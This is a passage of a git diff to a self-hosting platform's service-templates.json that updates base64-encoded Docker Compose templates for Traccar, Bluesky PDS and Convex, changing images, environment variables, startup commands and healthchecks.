"c2VydmljZXM6CiAgdHJhY2NhcjoKICAgIGltYWdlOiAndHJhY2Nhci90cmFjY2FyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1RSQUNDQVJfODA4MgogICAgICAtIFNFUlZJQ0VfVVJMX1RSQUNDQVJBUElfNTE1OQogICAgICAtICdDT05GSUdfVVNFX0VOVklST05NRU5UX1ZBUklBQkxFUz0ke0NPTkZJR19VU0VfRU5WSVJPTk1FTlRfVkFSSUFCTEVTOi10cnVlfScKICAgICAgLSAnREFUQUJBU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0RBVEFCQVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9zcnYvdHJhY2Nhci9jb25mL3RyYWNjYXIueG1sCiAgICAgICAgdGFyZ2V0OiAvb3B0L3RyYWNjYXIvY29uZi90cmFjY2FyLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8P3htbCB2ZXJzaW9uPScxLjAnIGVuY29kaW5nPSdVVEYtOCc/PlxuPCFET0NUWVBFIHByb3BlcnRpZXMgU1lTVEVNICdodHRwOi8vamF2YS5zdW4uY29tL2R0ZC9wcm9wZXJ0aWVzLmR0ZCc+XG48cHJvcGVydGllcz5cbiAgICA8ZW50cnkga2V5PSdjb25maWcuZGVmYXVsdCc+Li9jb25mL2RlZmF1bHQueG1sPC9lbnRyeT5cbiAgICA8ZW50cnkga2V5PSdkYXRhYmFzZS5kcml2ZXInPm9yZy5wb3N0Z3Jlc3FsLkRyaXZlcjwvZW50cnk+XG4gICAgPGVudHJ5IGtleT0nZGF0YWJhc2UudXJsJz5qZGJjOnBvc3RncmVzcWw6Ly9wb3N0Z3Jlczo1NDMyL3RyYWNjYXI8L2VudHJ5PlxuPC9wcm9wZXJ0aWVzPlxuIgogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODIvcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDE1cwogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi10cmFjY2FyfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3RyYWNjYXItcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YS8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgdHJhY2NhcjoKICAgIGltYWdlOiAndHJhY2Nhci90cmFjY2FyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1RSQUNDQVJfODA4MgogICAgICAtIFNFUlZJQ0VfVVJMX1RSQUNDQVJBUElfNTE1OQogICAgICAtICdDT05GSUdfVVNFX0VOVklST05NRU5UX1ZBUklBQkxFUz0ke0NPTkZJR19VU0VfRU5WSVJPTk1FTlRfVkFSSUFCTEVTOi10cnVlfScKICAgICAgLSAnREFUQUJBU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0RBVEFCQVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9zcnYvdHJhY2Nhci9jb25mL3RyYWNjYXIueG1sCiAgICAgICAgdGFyZ2V0OiAvb3B0L3RyYWNjYXIvY29uZi90cmFjY2FyLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8P3htbCB2ZXJzaW9uPScxLjAnIGVuY29kaW5nPSdVVEYtOCc/PlxuPCFET0NUWVBFIHByb3BlcnRpZXMgU1lTVEVNICdodHRwOi8vamF2YS5zdW4uY29tL2R0ZC9wcm9wZXJ0aWVzLmR0ZCc+XG48cHJvcGVydGllcz5cbiAgICA8ZW50cnkga2V5PSdjb25maWcuZGVmYXVsdCc+Li9jb25mL2RlZmF1bHQueG1sPC9lbnRyeT5cbiAgICA8ZW50cnkga2V5PSdkYXRhYmFzZS5kcml2ZXInPm9yZy5wb3N0Z3Jlc3FsLkRyaXZlcjwvZW50cnk+XG4gICAgPGVudHJ5IGtleT0nZGF0YWJhc2UudXJsJz5qZGJjOnBvc3RncmVzcWw6Ly9wb3N0Z3Jlczo1NDMyL3RyYWNjYXI8L2VudHJ5PlxuPC9wcm9wZXJ0aWVzPlxuIgogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODInCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxNXMKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotdHJhY2Nhcn0nCiAgICB2b2x1bWVzOgogICAgICAtICd0cmFjY2FyLXBvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEvJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "traccar", "gps", diff --git a/templates/service-templates.json b/templates/service-templates.json index e8f4fef80..c42e28c20 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -219,7 +219,7 @@ "bluesky-pds": { "documentation": "https://github.com/bluesky-social/pds?utm_source=coolify.io", "slogan": "Bluesky PDS (Personal Data Server)", - "compose": "c2VydmljZXM6CiAgcGRzOgogICAgaW1hZ2U6ICdnaGNyLmlvL2JsdWVza3ktc29jaWFsL3BkczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICcuL3Bkcy1kYXRhOi9wZHMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUERTXzMwMDAKICAgICAgLSAnUERTX0hPU1ROQU1FPSR7U0VSVklDRV9GUUROX1BEU30nCiAgICAgIC0gJ1BEU19KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1RfU0VDUkVUfScKICAgICAgLSAnUERTX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BEU19BRE1JTl9FTUFJTD0ke1NFUlZJQ0VfRU1BSUxfQURNSU59JwogICAgICAtICdQRFNfUExDX1JPVEFUSU9OX0tFWV9LMjU2X1BSSVZBVEVfS0VZX0hFWD0ke1BEU19QTENfUk9UQVRJT05fS0VZX0syNTZfUFJJVkFURV9LRVlfSEVYfScKICAgICAgLSAnUERTX0RBVEFfRElSRUNUT1JZPSR7UERTX0RBVEFfRElSRUNUT1JZOi0vcGRzfScKICAgICAgLSAnUERTX0JMT0JTVE9SRV9ESVNLX0xPQ0FUSU9OPSR7UERTX0RBVEFfRElSRUNUT1JZOi0vcGRzfS9ibG9ja3MnCiAgICAgIC0gJ1BEU19CTE9CX1VQTE9BRF9MSU1JVD0ke1BEU19CTE9CX1VQTE9BRF9MSU1JVDotNTI0Mjg4MDB9JwogICAgICAtICdQRFNfRElEX1BMQ19VUkw9JHtQRFNfRElEX1BMQ19VUkw6LWh0dHBzOi8vcGxjLmRpcmVjdG9yeX0nCiAgICAgIC0gJ1BEU19CU0tZX0FQUF9WSUVXX1VSTD0ke1BEU19CU0tZX0FQUF9WSUVXX1VSTDotaHR0cHM6Ly9hcGkuYnNreS5hcHB9JwogICAgICAtICdQRFNfQlNLWV9BUFBfVklFV19ESUQ9JHtQRFNfQlNLWV9BUFBfVklFV19ESUQ6LWRpZDp3ZWI6YXBpLmJza3kuYXBwfScKICAgICAgLSAnUERTX1JFUE9SVF9TRVJWSUNFX0ZRRE49JHtQRFNfUkVQT1JUX1NFUlZJQ0VfRlFETjotaHR0cHM6Ly9tb2QuYnNreS5hcHAveHJwYy9jb20uYXRwcm90by5tb2RlcmF0aW9uLmNyZWF0ZVJlcG9ydH0nCiAgICAgIC0gJ1BEU19SRVBPUlRfU0VSVklDRV9ESUQ9JHtQRFNfUkVQT1JUX1NFUlZJQ0VfRElEOi1kaWQ6cGxjOmFyN2M0Ynk0NnFqZHlkaGRldnZybmRhY30nCiAgICAgIC0gJ1BEU19DUkFXTEVSUz0ke1BEU19DUkFXTEVSUzotaHR0cHM6Ly9ic2t5Lm5ldHdvcmt9JwogICAgICAtICdMT0dfRU5BQkxFRD0ke0xPR19FTkFCTEVEOi10cnVlfScKICAgIGNvbW1hbmQ6ICJzaCAtYyAnXG4gIGVjaG8gXCJJbnN0YWxsaW5nIGN1cmwsIGJhc2gsIGFuZCBwZHNhZG1pbi4uLlwiXG4gIGFwayBhZGQgLS1uby1jYWNoZSBjdXJsIGJhc2ggJiYgXFxcbiAgY3VybCAtbyAvdXNyL2xvY2FsL2Jpbi9wZHNhZG1pbi5zaCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmx1ZXNreS1zb2NpYWwvcGRzL21haW4vcGRzYWRtaW4uc2ggJiYgXFxcbiAgY2htb2QgK3ggL3Vzci9sb2NhbC9iaW4vcGRzYWRtaW4uc2ggJiYgXFxcbiAgbG4gLXNmIC91c3IvbG9jYWwvYmluL3Bkc2FkbWluLnNoIC91c3IvbG9jYWwvYmluL3Bkc2FkbWluXG5cbiAgZWNobyBcIkdlbmVyYXRpbmcgL3Bkcy9wZHMuZW52Li4uXCJcbiAgcHJpbnRmIFwiJXNcXG5cIiBcXFxuICBcIlNFUlZJQ0VfRlFETl9QRFNfMzAwMD0kJHtTRVJWSUNFX0ZRRE5fUERTXzMwMDB9XCIgXFxcbiAgXCJQRFNfSE9TVE5BTUU9JCR7UERTX0hPU1ROQU1FfVwiIFxcXG4gIFwiUERTX0pXVF9TRUNSRVQ9JCR7UERTX0pXVF9TRUNSRVR9XCIgXFxcbiAgXCJQRFNfQURNSU5fUEFTU1dPUkQ9JCR7UERTX0FETUlOX1BBU1NXT1JEfVwiIFxcXG4gIFwiUERTX0FETUlOX0VNQUlMPSQke1BEU19BRE1JTl9FTUFJTH1cIiBcXFxuICBcIlBEU19QTENfUk9UQVRJT05fS0VZX0syNTZfUFJJVkFURV9LRVlfSEVYPSQke1BEU19QTENfUk9UQVRJT05fS0VZX0syNTZfUFJJVkFURV9LRVlfSEVYfVwiIFxcXG4gIFwiUERTX0RBVEFfRElSRUNUT1JZPSQke1BEU19EQVRBX0RJUkVDVE9SWX1cIiBcXFxuICBcIlBEU19CTE9CU1RPUkVfRElTS19MT0NBVElPTj0kJHtQRFNfREFUQV9ESVJFQ1RPUll9L2Jsb2Nrc1wiIFxcXG4gIFwiUERTX0JMT0JfVVBMT0FEX0xJTUlUPSQke1BEU19CTE9CX1VQTE9BRF9MSU1JVH1cIiBcXFxuICBcIlBEU19ESURfUExDX1VSTD0kJHtQRFNfRElEX1BMQ19VUkx9XCIgXFxcbiAgXCJQRFNfQlNLWV9BUFBfVklFV19VUkw9JCR7UERTX0JTS1lfQVBQX1ZJRVdfVVJMfVwiIFxcXG4gIFwiUERTX0JTS1lfQVBQX1ZJRVdfRElEPSQke1BEU19CU0tZX0FQUF9WSUVXX0RJRH1cIiBcXFxuICBcIlBEU19SRVBPUlRfU0VSVklDRV9GUUROPSQke1BEU19SRVBPUlRfU0VSVklDRV9GUUROfVwiIFxcXG4gIFwiUERTX1JFUE9SVF9TRVJWSUNFX0RJRD0kJHtQRFNfUkVQT1JUX1NFUlZJQ0VfRElEfVwiIFxcXG4gIFwiUERTX0NSQVdMRVJTPSQke1BEU19DUkFXTEVSU31cIiBcXFxuICBcIkxPR19FTkFCTEVEPSQke0xPR19FTkFCTEVEfVwiIFxcXG4gID4gL3Bkcy9wZHMuZW52XG5cbiAgZWNobyBcIkxhdW5jaGluZyBQRFMuLi5cIlxuICBleGVjIG5vZGUgLS1lbmFibGUtc291cmNlLW1hcHMgaW5kZXguanNcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwL3hycGMvX2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgcGRzOgogICAgaW1hZ2U6ICdnaGNyLmlvL2JsdWVza3ktc29jaWFsL3BkczowLjQuMTgyJwogICAgdm9sdW1lczoKICAgICAgLSAncGRzLWRhdGE6L3BkcycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9QRFNfMzAwMAogICAgICAtICdQRFNfSE9TVE5BTUU9JHtTRVJWSUNFX0ZRRE5fUERTXzMwMDB9JwogICAgICAtICdQRFNfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfSEVYXzMyX0pXVFNFQ1JFVH0nCiAgICAgIC0gJ1BEU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQURNSU59JwogICAgICAtICdQRFNfQURNSU5fRU1BSUw9JHtQRFNfQURNSU5fRU1BSUx9JwogICAgICAtICdQRFNfUExDX1JPVEFUSU9OX0tFWV9LMjU2X1BSSVZBVEVfS0VZX0hFWD0ke1NFUlZJQ0VfSEVYXzMyX1JPVEFUSU9OS0VZfScKICAgICAgLSAnUERTX0RBVEFfRElSRUNUT1JZPSR7UERTX0RBVEFfRElSRUNUT1JZOi0vcGRzfScKICAgICAgLSAnUERTX0JMT0JTVE9SRV9ESVNLX0xPQ0FUSU9OPSR7UERTX0RBVEFfRElSRUNUT1JZOi0vcGRzfS9ibG9ja3MnCiAgICAgIC0gJ1BEU19CTE9CX1VQTE9BRF9MSU1JVD0ke1BEU19CTE9CX1VQTE9BRF9MSU1JVDotMTA0ODU3NjAwfScKICAgICAgLSAnUERTX0RJRF9QTENfVVJMPSR7UERTX0RJRF9QTENfVVJMOi1odHRwczovL3BsYy5kaXJlY3Rvcnl9JwogICAgICAtICdQRFNfRU1BSUxfRlJPTV9BRERSRVNTPSR7UERTX0VNQUlMX0ZST01fQUREUkVTU30nCiAgICAgIC0gJ1BEU19FTUFJTF9TTVRQX1VSTD0ke1BEU19FTUFJTF9TTVRQX1VSTH0nCiAgICAgIC0gJ1BEU19CU0tZX0FQUF9WSUVXX1VSTD0ke1BEU19CU0tZX0FQUF9WSUVXX1VSTDotaHR0cHM6Ly9hcGkuYnNreS5hcHB9JwogICAgICAtICdQRFNfQlNLWV9BUFBfVklFV19ESUQ9JHtQRFNfQlNLWV9BUFBfVklFV19ESUQ6LWRpZDp3ZWI6YXBpLmJza3kuYXBwfScKICAgICAgLSAnUERTX1JFUE9SVF9TRVJWSUNFX0ZRRE49JHtQRFNfUkVQT1JUX1NFUlZJQ0VfRlFETjotaHR0cHM6Ly9tb2QuYnNreS5hcHAveHJwYy9jb20uYXRwcm90by5tb2RlcmF0aW9uLmNyZWF0ZVJlcG9ydH0nCiAgICAgIC0gJ1BEU19SRVBPUlRfU0VSVklDRV9ESUQ9JHtQRFNfUkVQT1JUX1NFUlZJQ0VfRElEOi1kaWQ6cGxjOmFyN2M0Ynk0NnFqZHlkaGRldnZybmRhY30nCiAgICAgIC0gJ1BEU19DUkFXTEVSUz0ke1BEU19DUkFXTEVSUzotaHR0cHM6Ly9ic2t5Lm5ldHdvcmt9JwogICAgICAtICdMT0dfRU5BQkxFRD0ke0xPR19FTkFCTEVEOi10cnVlfScKICAgIGNvbW1hbmQ6ICJzaCAtYyAnXG4gIHNldCAtZXVvIHBpcGVmYWlsXG4gIGVjaG8gXCJJbnN0YWxsaW5nIHJlcXVpcmVkIHBhY2thZ2VzIGFuZCBwZHNhZG1pbi4uLlwiXG4gIGFwayBhZGQgLS1uby1jYWNoZSBvcGVuc3NsIGN1cmwgYmFzaCBqcSBjb3JldXRpbHMgZ251cGcgdXRpbC1saW51eC1taXNjID4vZGV2L251bGxcbiAgY3VybCAtbyAvdXNyL2xvY2FsL2Jpbi9wZHNhZG1pbi5zaCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmx1ZXNreS1zb2NpYWwvcGRzL21haW4vcGRzYWRtaW4uc2hcbiAgY2htb2QgNzAwIC91c3IvbG9jYWwvYmluL3Bkc2FkbWluLnNoXG4gIGxuIC1zZiAvdXNyL2xvY2FsL2Jpbi9wZHNhZG1pbi5zaCAvdXNyL2xvY2FsL2Jpbi9wZHNhZG1pblxuICBlY2hvIFwiQ3JlYXRpbmcgYW4gZW1wdHkgcGRzLmVudiBmaWxlIHNvIHBkc2FkbWluIHdvcmtzLi4uXCJcbiAgdG91Y2ggJHtQRFNfREFUQV9ESVJFQ1RPUll9L3Bkcy5lbnZcbiAgZWNobyBcIkxhdW5jaGluZyBQRFMsIGVuam95IS4uLlwiXG4gIGV4ZWMgbm9kZSAtLWVuYWJsZS1zb3VyY2UtbWFwcyBpbmRleC5qc1xuJ1xuIgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAveHJwYy9faGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "bluesky", "pds", @@ -580,9 +580,9 @@ "port": "3000" }, "convex": { - "documentation": "https://docs.convex.dev/?utm_source=coolify.io", + "documentation": "https://github.com/get-convex/convex-backend/blob/main/self-hosted/README.md?utm_source=coolify.io", "slogan": "Convex is the open-source reactive database for app developers.", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1iYWNrZW5kOjUxNDNmZWM4MWYxNDZjYTY3NDk1YzEyYzZiN2ExNWM1ODAyYzM3ZTInCiAgICB2b2x1bWVzOgogICAgICAtICdkYXRhOi9jb252ZXgvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9CQUNLRU5EXzMyMTAKICAgICAgLSAnSU5TVEFOQ0VfTkFNRT0ke0lOU1RBTkNFX05BTUU6LXNlbGYtaG9zdGVkLWNvbnZleH0nCiAgICAgIC0gJ0lOU1RBTkNFX1NFQ1JFVD0ke1NFUlZJQ0VfSEVYXzMyX1NFQ1JFVH0nCiAgICAgIC0gJ0NPTlZFWF9SRUxFQVNFX1ZFUlNJT05fREVWPSR7Q09OVkVYX1JFTEVBU0VfVkVSU0lPTl9ERVY6LX0nCiAgICAgIC0gJ0FDVElPTlNfVVNFUl9USU1FT1VUX1NFQ1M9JHtBQ1RJT05TX1VTRVJfVElNRU9VVF9TRUNTOi19JwogICAgICAtICdDT05WRVhfQ0xPVURfT1JJR0lOPSR7U0VSVklDRV9GUUROX0NPTlZFWF8zMjEwfScKICAgICAgLSAnQ09OVkVYX1NJVEVfT1JJR0lOPSR7U0VSVklDRV9GUUROX0NPTlZFWF8zMjExfScKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOi19JwogICAgICAtICdESVNBQkxFX0JFQUNPTj0ke0RJU0FCTEVfQkVBQ09OOi19JwogICAgICAtICdSRURBQ1RfTE9HU19UT19DTElFTlQ9JHtSRURBQ1RfTE9HU19UT19DTElFTlQ6LX0nCiAgICAgIC0gJ0NPTlZFWF9TRUxGX0hPU1RFRF9VUkw9JHtTRVJWSUNFX0ZRRE5fQ09OVkVYXzY3OTF9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIC1mIGh0dHA6Ly8xMjcuMC4wLjE6MzIxMC92ZXJzaW9uJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGRhc2hib2FyZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1kYXNoYm9hcmQ6NTE0M2ZlYzgxZjE0NmNhNjc0OTVjMTJjNmI3YTE1YzU4MDJjMzdlMicKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DT05WRVhfNjc5MQogICAgICAtIE5FWFRfUFVCTElDX0RFUExPWU1FTlRfVVJMPSRTRVJWSUNFX0ZRRE5fQkFDS0VORF8zMjEwCiAgICBkZXBlbmRzX29uOgogICAgICBiYWNrZW5kOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjY3OTEvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1iYWNrZW5kOjAwYmQ5MjcyMzQyMmYzYmZmOTY4MjMwYzk0Y2NkZWI4YzE3MTk4MzInCiAgICB2b2x1bWVzOgogICAgICAtICdkYXRhOi9jb252ZXgvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9CQUNLRU5EXzMyMTAKICAgICAgLSAnSU5TVEFOQ0VfTkFNRT0ke0lOU1RBTkNFX05BTUU6LXNlbGYtaG9zdGVkLWNvbnZleH0nCiAgICAgIC0gJ0lOU1RBTkNFX1NFQ1JFVD0ke1NFUlZJQ0VfSEVYXzMyX1NFQ1JFVH0nCiAgICAgIC0gJ0NPTlZFWF9SRUxFQVNFX1ZFUlNJT05fREVWPSR7Q09OVkVYX1JFTEVBU0VfVkVSU0lPTl9ERVY6LX0nCiAgICAgIC0gJ0FDVElPTlNfVVNFUl9USU1FT1VUX1NFQ1M9JHtBQ1RJT05TX1VTRVJfVElNRU9VVF9TRUNTOi19JwogICAgICAtICdDT05WRVhfQ0xPVURfT1JJR0lOPSR7U0VSVklDRV9GUUROX0NPTlZFWH0nCiAgICAgIC0gJ0NPTlZFWF9TSVRFX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9CQUNLRU5EfScKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOi19JwogICAgICAtICdESVNBQkxFX0JFQUNPTj0ke0RJU0FCTEVfQkVBQ09OOj9mYWxzZX0nCiAgICAgIC0gJ1JFREFDVF9MT0dTX1RPX0NMSUVOVD0ke1JFREFDVF9MT0dTX1RPX0NMSUVOVDo/ZmFsc2V9JwogICAgICAtICdET19OT1RfUkVRVUlSRV9TU0w9JHtET19OT1RfUkVRVUlSRV9TU0w6P3RydWV9JwogICAgICAtICdQT1NUR1JFU19VUkw9JHtQT1NUR1JFU19VUkw6LX0nCiAgICAgIC0gJ01ZU1FMX1VSTD0ke01ZU1FMX1VSTDotfScKICAgICAgLSAnUlVTVF9MT0c9JHtSVVNUX0xPRzotaW5mb30nCiAgICAgIC0gJ1JVU1RfQkFDS1RSQUNFPSR7UlVTVF9CQUNLVFJBQ0U6LX0nCiAgICAgIC0gJ0FXU19SRUdJT049JHtBV1NfUkVHSU9OOi19JwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke0FXU19BQ0NFU1NfS0VZX0lEOi19JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtBV1NfU0VDUkVUX0FDQ0VTU19LRVk6LX0nCiAgICAgIC0gJ0FXU19TRVNTSU9OX1RPS0VOPSR7QVdTX1NFU1NJT05fVE9LRU46LX0nCiAgICAgIC0gJ0FXU19TM19GT1JDRV9QQVRIX1NUWUxFPSR7QVdTX1MzX0ZPUkNFX1BBVEhfU1RZTEU6LX0nCiAgICAgIC0gJ0FXU19TM19ESVNBQkxFX1NTRT0ke0FXU19TM19ESVNBQkxFX1NTRTotfScKICAgICAgLSAnQVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TPSR7QVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TOi19JwogICAgICAtICdTM19TVE9SQUdFX0VYUE9SVFNfQlVDS0VUPSR7UzNfU1RPUkFHRV9FWFBPUlRTX0JVQ0tFVDotfScKICAgICAgLSAnUzNfU1RPUkFHRV9TTkFQU0hPVF9JTVBPUlRTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfU05BUFNIT1RfSU1QT1JUU19CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX1NUT1JBR0VfTU9EVUxFU19CVUNLRVQ9JHtTM19TVE9SQUdFX01PRFVMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX0ZJTEVTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfRklMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ9JHtTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX0VORFBPSU5UX1VSTD0ke1MzX0VORFBPSU5UX1VSTDotfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAtZiBodHRwOi8vMTI3LjAuMC4xOjMyMTAvdmVyc2lvbicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgZGFzaGJvYXJkOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dldC1jb252ZXgvY29udmV4LWRhc2hib2FyZDozM2NlZjc3NWE4YTYyMjhjYmFjZWU0YTA5YWMyYzQwNzNkNjJlZDEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0NPTlZFWF82NzkxCiAgICAgIC0gJ05FWFRfUFVCTElDX0RFUExPWU1FTlRfVVJMPSR7U0VSVklDRV9GUUROX0JBQ0tFTkR9JwogICAgZGVwZW5kc19vbjoKICAgICAgYmFja2VuZDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo2NzkxLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", "tags": [ "database", "reactive", @@ -724,7 +724,7 @@ "docmost": { "documentation": "https://docmost.com/docs/?utm_source=coolify.io", "slogan": "Open-source collaborative wiki and documentation software", - "compose": 